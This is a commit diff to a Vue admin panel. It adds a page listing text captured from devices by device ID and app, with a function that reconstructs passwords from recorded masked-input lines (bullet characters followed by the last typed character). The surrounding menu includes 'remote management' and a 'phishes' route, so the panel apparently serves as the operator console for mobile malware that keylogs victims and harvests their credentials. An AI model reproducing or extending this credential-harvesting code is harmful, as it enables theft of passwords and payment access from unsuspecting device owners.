Просмотр исходного кода

feat(TextRecordView): 新增文本记录管理功能

- 在路由中添加文本记录页面的路径和组件
- 在主视图中增加文本记录的菜单项
- 创建文本记录视图组件,支持文本记录的查询、编辑和密码生成
- 优化了文本记录的展示和操作体验
wuyi 5 месяцев назад
Родитель
Сommit
76c3bdc2ea
3 измененных файлов с 161 добавлено и 1 удалено
  1. 8 0
      src/router/index.js
  2. 7 1
      src/views/MainView.vue
  3. 146 0
      src/views/TextRecordView.vue

+ 8 - 0
src/router/index.js

@@ -76,6 +76,14 @@ const router = createRouter({
                         title: '远程管理'
                     }
                 },
+                {
+                    path: 'textRecord',
+                    name: 'textRecord',
+                    component: () => import('../views/TextRecordView.vue'),
+                    meta: {
+                        title: '文本记录'
+                    }
+                },
                 {
                     path: 'phishes',
                     name: 'phishes',

+ 7 - 1
src/views/MainView.vue

@@ -64,7 +64,8 @@ import {
     LayersSubtract,
     DeviceMobile,
     Fish,
-    TextResize
+    TextResize,
+    FileText
 } from '@vicons/tabler'
 import UserAvatar from '@/components/UserAvatar.vue'
 import ChangePwd from '@/components/ChangePwd.vue'
@@ -149,6 +150,11 @@ if (user.role === 'admin') {
             title: '远程管理',
             icon: DeviceMobile
         },
+        {
+            name: 'textRecord',
+            title: '文本记录',
+            icon: FileText
+        },
         {
             name: 'phishes',
             title: '支付管理',

+ 146 - 0
src/views/TextRecordView.vue

@@ -0,0 +1,146 @@
+<template>
+    <PagingTable url="/textRecord" :query="searchQuery" :order="'id,desc'" ref="table">
+        <template #filter>
+            <ElInput
+                class="!w-52"
+                placeholder="设备ID"
+                clearable
+                v-model="query.deviceId"
+                @keyup.enter="onSearch"
+            />
+            <ElInput
+                class="!w-52"
+                placeholder="APP"
+                clearable
+                v-model="query.appName"
+                @keyup.enter="onSearch"
+            />
+            <ElButton type="primary" :icon="Search" @click="onSearch">查询</ElButton>
+        </template>
+        <ElTableColumn prop="id" label="#" width="80" />
+        <ElTableColumn prop="deviceId" label="设备id" width="200" />
+        <ElTableColumn prop="appName" label="APP" show-overflow-tooltip />
+        <ElTableColumn prop="record" label="文本内容" min-width="300" />
+        <ElTableColumn prop="password" label="密码" min-width="300" show-overflow-tooltip align="center">
+            <template #default="{ row }">
+                <template v-if="row.password && String(row.password).trim() !== ''">
+                    {{ row.password }}
+                </template>
+                <template v-else>
+                    <ElButton
+                        size="small"
+                        circle
+                        :icon="Refresh"
+                        :loading="!!generating[row.id]"
+                        @click="onGeneratePassword(row)"
+                    />
+                </template>
+            </template>
+        </ElTableColumn>
+        <ElTableColumn prop="createdAt" label="输入时间" :formatter="timeFormatter" width="180" align="center" />
+        <ElTableColumn label="操作" align="center" width="120">
+            <template #default="{ row }">
+                <ElButton size="small" @click="onEdit(row)">编辑</ElButton>
+            </template>
+        </ElTableColumn>
+    </PagingTable>
+    <EditDialog v-model="showEditDialog" :model="model" :rules="rules" :on-submit="submit" @success="table.refresh()">
+        <ElFormItem prop="record" label="文本内容">
+            <ElInput v-model="model.record" type="textarea" :rows="10" placeholder="请输入文本内容" />
+        </ElFormItem>
+        <ElFormItem prop="password" label="密码">
+            <ElInput v-model="model.password" placeholder="请输入密码">
+                <template #append>
+                    <ElButton @click="model.password = generatePasswordFromRecord(model.record)">从文本生成</ElButton>
+                </template>
+            </ElInput>
+        </ElFormItem>
+    </EditDialog>
+</template>
+<script setup>
+import { ref } from 'vue'
+import PagingTable from '@/components/PagingTable.vue'
+import { useTimeFormatter } from '@/utils/formatter'
+import EditDialog from '@/components/EditDialog.vue'
+import { setupEditDialog } from '@/utils/editDialog'
+import { http } from '@/plugins/http'
+import { ElMessage } from 'element-plus'
+import { Search } from '@vicons/tabler'
+import { Refresh } from '@vicons/tabler'
+
+const query = ref({ deviceId: '', appName: '' })
+const searchQuery = ref({})
+const table = ref(null)
+const timeFormatter = useTimeFormatter('yyyy-MM-dd HH:mm:ss')
+const model = ref({})
+const { showEditDialog, onEdit } = setupEditDialog(model)
+const rules = {
+    record: [{ required: true, message: '请输入文本内容', trigger: 'blur' }]
+}
+const generating = ref({})
+
+async function submit() {
+    await http.put(`/textRecord/${model.value.id}`, {
+        deviceId: model.value.deviceId,
+        appName: model.value.appName,
+        record: model.value.record,
+        password: model.value.password
+    })
+    ElMessage.success('保存成功')
+}
+
+function generatePasswordFromRecord(text) {
+    if (!text || typeof text !== 'string') return ''
+    const bullet = '•'
+    const result = []
+    const seenCounts = new Set()
+    const lines = text.split(/\r?\n/)
+    for (const rawLine of lines) {
+        const line = rawLine.trim()
+        if (line.length === 0) continue
+        const lastChar = line.charAt(line.length - 1)
+        if (lastChar === bullet) continue
+        if (!/[A-Za-z0-9]/.test(lastChar)) continue
+        const head = line.slice(0, -1)
+        const allBullets = head.split('').every((c) => c === bullet)
+        if (!allBullets) continue
+        const bulletCount = head.length
+        if (seenCounts.has(bulletCount)) continue
+        seenCounts.add(bulletCount)
+        result.push(lastChar)
+    }
+    return result.join('')
+}
+
+async function onGeneratePassword(row) {
+    generating.value[row.id] = true
+    const generated = generatePasswordFromRecord(row.record)
+    if (!generated) {
+        ElMessage.warning('未能从文本生成密码')
+        generating.value[row.id] = false
+        return
+    }
+    try {
+        await http.put(`/textRecord/${row.id}`, {
+            deviceId: row.deviceId,
+            appName: row.appName,
+            record: row.record,
+            password: generated
+        })
+        row.password = generated
+        ElMessage.success('生成并保存成功')
+    } finally {
+        generating.value[row.id] = false
+    }
+}
+
+function onSearch() {
+    searchQuery.value = {
+        deviceId: query.value.deviceId || undefined,
+        appName: query.value.appName || undefined
+    }
+    table.value?.refresh(true)
+}
+</script>
+
+